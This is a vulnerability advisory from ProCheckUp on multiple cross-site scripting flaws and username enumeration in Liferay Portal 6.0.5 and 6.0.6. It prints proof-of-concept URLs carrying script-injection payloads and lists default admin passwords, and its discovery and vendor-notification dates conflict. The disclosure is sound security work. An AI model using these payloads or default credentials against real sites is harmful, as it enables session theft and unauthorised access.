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PR11-08 - Liferay Portal multiple unauthenticated & authenticated XSS and username enumeration

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Advisories (Vulnerabilities) & Papers

Vulnerability found:
05 September 2011
Vendor informed:
12 September 2010
Severity level:
Medium (Script injection)
Richard Brain of ProCheckUp Ltd (
Multiple Cross-site Scripting vulnerabilities exist within the Liferay Portal software.

ProCheckUp has found by making a malformed requests to the Liferay Portal with and without being authenticated, multiple vanilla cross site scripting (XSS) vulnerabilities exist. In addition Liferay has a vulnerability which allows valid user names to be enumerated, which allows the default admin accounts to be enumerated.

Successfully tested on:-
Versions : 6.0.5, some on version 6.0.6
Proof of concept:
1) Unauthenticated XSS attacks
The following attacks have been tested with IE and Firefox:- /netvibes/web/guest/home/-/</title><script>alert(1)</script>}%0A%0D}%0A%0Dalert%281%29;%0A%0Dfunction%20blah%28%29{{//}%0A%0D}%0A%0Dalert%281%29;%0A%0Dfunction%20blah%28%29{{//

Version 6.0.5 attack variant}%0a%0dalert(1);%0a%0dfunction blah(){//

Version 6.0.6 attack variant}%0a%0dalert(1);%0a%0dfunction blah(){//;%0A%0Dfunction%20blah%28%29%7b%0A%0Dif%20%28emotionWindow%20!=%20null%29%20%7b%0A%0Dtry%20%7bparent.test;//&disableControl=2&request=1

2) Authenticated XSS attacks
The following attacks work with IE only:- ar/web/guest/home?p_p_id=86&p_p_state=maximized&_86_=&_86_portletResource=<script>alert(1)</script>&_86_struts_action=%2Fportlet_configuration%2Fexport_import ar/group/22/1?p_p_id=86&p_p_state=maximized&_86_struts_action=%2Fportlet_configuration%2Fexport_import&_86_portletResource=<script>alert("XSS")</script> "><ScRiPt>alert(1)</ScRiPt>=1 /ar/group/control_panel/manage?refererPlid=\"><ScRiPt>alert(1)</ScRiPt> /group/control_panel?"><ScRiPt>alert(1)</ScRiPt>=1
An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link or visits a malicious webpage. The malicious code would run in the security context of the vulnerable website.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: passwords or session IDs) to unauthorised third parties.

3) The Liferay forgot password page can also be used for username enumeration, as a different error message is returned when a valid user name though wrong password is entered. Compared to an invalid user name being entered.

This is important as the Liferay, default admin accounts can be enumerated:-
Email address:
Password: bruno

Email address:
Password: test
How to fix:
Update to Liferay Portal version 6.1.1 or a later version.
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